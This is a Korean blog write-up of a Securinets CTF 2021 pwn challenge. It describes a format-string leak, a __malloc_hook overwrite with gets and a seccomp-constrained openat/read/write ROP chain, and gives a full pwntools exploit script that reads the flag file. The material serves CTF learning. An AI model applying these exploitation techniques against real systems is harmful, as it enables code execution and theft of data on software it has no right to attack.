CTF/Write UPs

[Securinets CTF 2021 : pwn] kill shot 풀이 (seccomp, Full RELRO)(수정)

jir4vvit 2021. 4. 3. 13:29
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

처음에 와 내가 절대 못풀겠다;;;;;라고 생각했었는데, 막상 풀고보니... 이 정도는 풀어야 할 것 같다............... ㅠ


Summery

  1. Using fsb, leak libc/stack address
  2. __malloc_hook을 gets 함수로 덮어쓰기
  3. malloc(stack주소) -> gets(stack주소) : BOF trigger
  4. ROP openat, read, write

 

 

Analysis

- 보호기법 check

  • 보호기법은 전부 다 걸려 있다.
  • Full RELRO에 주목해보면, 특정 함수의 got를 덮는 것은 되지 않는다.
  • 이 때는 malloc_hook, free_hook, _rtld_global._dl_rtld_lock_recursive 등을 덮어 실행 흐름을 조작할 수 있다.
  • (스포를 하자면, 이 문제에서는 malloc_hook을 덮기로 하였다.)

seccomp-tools

  • 보호 기법...!은 아니지만 seccomp이 걸려있다. (read, write, fstat, mprotect, openat 사용 가능)
  • openat를 사용하지 않으면 죽는다.(KILL) (openat이 아니면 다 죽는다 x)
  • 따라서 open 함수 대신 openat 함수를 이용해서 flag 파일을 open해야할 필요가 있다.

 

- 디컴파일

main

  • seccomp() 함수는 아까 위에서 seccomp-tools로 확인했으니 넘어가도록 하겠다. (코드로는 딱히 볼 거 없음)
  • fsb(), kill(), add() 함수를 아래에서 살펴보자.
  • delete() 함수는 그냥 free하는건데... 문제풀이에 이용하지 않았으므로 이 글에서는 딱히 분석은 안하기로 한다..

fsb

  • fsb 함수에서 fsb가 발생한다.
  • 입력받을 때, 'n' 문자가 오면 종료되어서 값을 쓸 수는 없고, 오직 %p를 이용하여 스택에 있는 주소를 leak할 수 있다.
  • 참고로 fsb는 모든 스택을 엿볼 수 있어서 필요한 주소를 leak하기에 안성맞춤이다. 

 kill

  • kill 함수에서 원하는 주소에 원하는 값(주소)을 쓸 수 있다. Overwriting!
  • 이 때 주의해야할 점은, "Pointer"에 값을 쓸 때, 내가 입력한 값을 strtoul 함수를 통해 str로 바꿔버리므로, 입력할 때 str()을 이용하여 써야 한다.
  • str로 써야하기 때문에 0x14만큼 적는다. (왜 0x14만큼 쓰는지 궁금했었다.)
  • "Content"에는 0x8을 쓸 수 있는데, 8바이트 값을 쓸 수 있다.
  • 8바이트 주소 값이 아닌 8바이트 값으로 단어를 수정한 이유는 8바이트 주소라는 건 커널에서 밖에 존재하지 않는 개념이다. 또한 유저랜드에서의 주소값은 (PIE가 걸린경우) 다 6바이트다. "Content"는 단순히 8바이트 값을 쓰는 공간이지 굳이 주소라고 표현하면 문맥이 이상하다. 

add

  • add 함수는 내가 원하는 Size를 입력하면 그 Size만큼 malloc을 한다. 
  • malloc의 인자로 들어가는 result는 sub_DA2() 함수의 반환값인데, 저 함수를 살펴보면 단순히 raed함수로 0xF만큼 입력받고, buf를 strtoul 함수를 이용하여 str로 바꿔준다.
  • 따라서 여기 "Size"에도 str() 함수를 이용하여 써야 한다. 

- openat 함수 사용법

#include <fcntl.h>       
int openat(int dirfd, const char *pathname, int flags);       
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
  • pathname 이 상대경로(./)인 경우에 dirfd를 기준으로 상대경로를 찾는다.
  • pathname 이 상대경로이고 dirfd 가 AT_FDCWD 라는 특수 값인 경우에는 open 과 동일하게 cwd (current working directory) 로부터 상대경로를 찾는다.
  • open 함수로 dirfd를 알 수 있는데, 이 문제에서는 open함수를 사용하지 못하므로 dirfd 자리에 AT_FDCWD 인자를 줘야 한다.
  • rop 기법을 이용해서 저 인자를 주려면 define..을 찾아보면 되는데 -100으로 정의되어 있다.

How to exploit

1. 원하는 주소에 원하는 값을 쓸 수 있는데 어떤 주소에 어느 값을 쓸건가?

  • Full RELRO이기 때문에 got를 덮는 것은 불가능하다. 
  • __malloc_hook을 gets 함수로 덮어서 BOF를 트리거 하자.
  • BOF를 트리거 하여 ROP를 진행한다.
  • seccomp-tools로 확인했다시피, openat을 안쓰면 죽기(?) 때문에 root 쉘을 따는 것이 아닌 openat 함수로 flag 파일을 열고, read, write함수를 이용하여 flag파일을 읽자.

2. malloc의 인자(gets의 인자)로는 무엇을 줘야하는가?

  • 우리는 BOF를 일으켜 stack의 ret를 건드려서 ROP를 진행해야 한다.
  • 때문에 인자로 stack address를 줘야 한다. 
  • 어떤 stack address? 실행되는 함수의 ret 주소이다.malloc_hook을 덮었으니, malloc의 ret 주소를 주었다.
  • fsb로 stack address를 leak하여 malloc의 ret와의 offset을 구하면 된다.

Let's exploit!

from pwn import *

#context.log_level = 'debug'

p = process('./kill_shot')
e = ELF('./kill_shot')
#libc = ELF('libc.so.6')
libc = e.libc

# stack leak : %22$p
# libc leak : %25$p
log.info('[*] 1. leak stack, libc address')
#pause()
p.sendlineafter('Format: ', '%22$p %25$p')
leaks = p.recvline().split(' ')
stack_leak = int(leaks[0], 16)
libc_leak = int(leaks[1], 16)
#leak = int(p.recv(14),16)
log.info('[+]\tstack leak = '+ hex(stack_leak))
log.info('[+]\tlibc leak = '+ hex(libc_leak))

libc_base = libc_leak - libc.symbols['__libc_start_main'] - 231
log.info('[+]\tlibc_base = ' + hex(libc_base))

pop_rdi = libc_base + 0x0019b677
pop_rsi = libc_base + 0x19987f
pop_rdx = libc_base + 0x1b96

log.info('[+]\tpop_rdi = ' + hex(pop_rdi))
log.info('[+]\tpop_rsi = ' + hex(pop_rsi))
log.info('[+]\tpop_rdx = ' + hex(pop_rdx))

__malloc_hook = libc_base + libc.symbols['__malloc_hook']
gets = libc_base + libc.symbols['gets']

log.info('[*] 2. overwrite __malloc_hook with gets')
log.info('[+]\t__malloc_hook = '+hex(__malloc_hook))
#pause()
p.sendlineafter('Pointer: ', str(__malloc_hook))
p.sendlineafter('Content: ', p64(gets))

log.info('[*] 3. BOF openat->read->write')
log.info('[+]\tmalloc ret = ' + hex(stack_leak-0x138))
#pause()
p.sendlineafter('\n', '1')
#pause()
p.sendafter('Size: ', str(stack_leak-0x138) )

log.info('[+]\topenat = ' + hex(libc_base + libc.symbols['openat']))
log.info('[+]\tread = ' + hex(libc_base + libc.symbols['read']))
log.info('[+]\twrite = ' + hex(libc_base + libc.symbols['write']))

payload = ''
# openat(AT_FDCWD, './flag.txt', O_RONLY) 
# AT_FDCWD = -100 / O_RONLY = 0
#payload += './flag.txt\x00'
payload += p64(pop_rdi)
# -100 & 0xffffffffffffffff
payload += p64(0xffffffffffffff9c)
payload += p64(pop_rsi)
payload += p64(stack_leak-0x90)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(libc_base+libc.symbols['openat'])
# read(fd, buf, 100)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(stack_leak-0x10000)
payload += p64(pop_rdx)
payload += p64(100)
payload += p64(libc_base+libc.symbols['read'])
# write(1, buf, 100)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(stack_leak-0x10000)
payload += p64(pop_rdx)
payload += p64(100)
payload += p64(libc_base+libc.symbols['write'])
payload += './flag.txt\x00'

#print(len(payload))
#pause()
p.sendline(payload)

p.interactive()

익스하면서 내가 잘 몰랐던 것들.. & 주의해야 할 점

  • ''와 str()이 같은 건 줄 알았다. 하지만 다르다. ㅎ

  • 나는 보통 바이너리에서 가젯을 찾는다. 하지만 pop rdx의 경우, 없더라.. 이때는 libc에서 찾으면 된다. 사용할 때는 libc_base를 더해주는 것 잊으면 안된다.
  • 하지만 이 문제에서 pie 보호 기법이 걸려있어서 바이너리에서 가젯을 찾으면 한없이 작은 주소가 나온다. 여기에 pie_base를 더해주어야 하는데, 나는 pie_base를 leak하기가 귀찮았기(?) 때문에 내가 쓸 가젯을 libc에서 찾아주었다.
  • -100을 처음에 p64(-100) 이렇게 넣어주었는데, 바보같다. hex값으로 넣어주어야 한다. 
  • 코드 주석에서도 확인할 수 있지만 &연산으로 hex값으로 만들 수 있다.
  • 주소값을 넣을 때 libc_base 등 더해주는 것을 잊지 말자... ㅎㅎ^^
  • 디버깅하다가 막히면 내가 구한 가젯, 함수 등 주소를 싹 다 출력해서 올바른??유효한?? 주소값인지 확인할 필요가 있다.
  • Size에 malloc ret 주소를 넣으면 gets함수가 실행된다. 이때 sendline으로 보내면 gets 함수 입력에 '엔터'가 들어가게 된다. 따라서 send로 보내야 한다.
  • 젤 중요한 이야기가 빠졌다. 그냥 read로 입력을 받으면 목숨걸고 send를 쓰자!
  • "./flag.txt" 문자열.. c에서 문자열을 보는 기준은 마지막에 Null이 들어간 것이다. "./flag.txt\x00"으로 입력하는 습관을 들이자.
  • 이 문제는 쉘을 따는 것이 아닌 flag파일을 읽는 것이 목표다. 처음에 나는 "./flag.txt\x00"을 페이로드 제일 앞에 위치시키고 짰었는데, 정말... flag파일이 읽히지가 않았다. 만약 읽혔다고 해도, remote에서는 flag 파일이 저 위치가 아닐수도 있기 때문에 offset 계산을 다시해야한다. "./flag.txt\x00" 문자열을 페이로드 맨 끝에 위치시킨다면, remote에서도 offset 계산을 다시할 필요가 없을 것이다.
  • read함수에서 flag파일을 읽을 때 fd가 3인 이유는... 예전에 내가 fd에 대해서 쓴 글을 보면 fd가 3부터 시작했기 때문이다 ㅎ
  • write함수에서 첫번째 인자는 당연히 1을 줘야하는데 그 이유는 화면에 flag를 출력하기 위해서이다.. (이건 알고 있었는데 혹시나 해서 씀)
  • libc 주소 릭할 땐 main의 ret가 제격이다.
  • 로컬의 립시를 가져올 땐 libc = e.libc .. 필수다.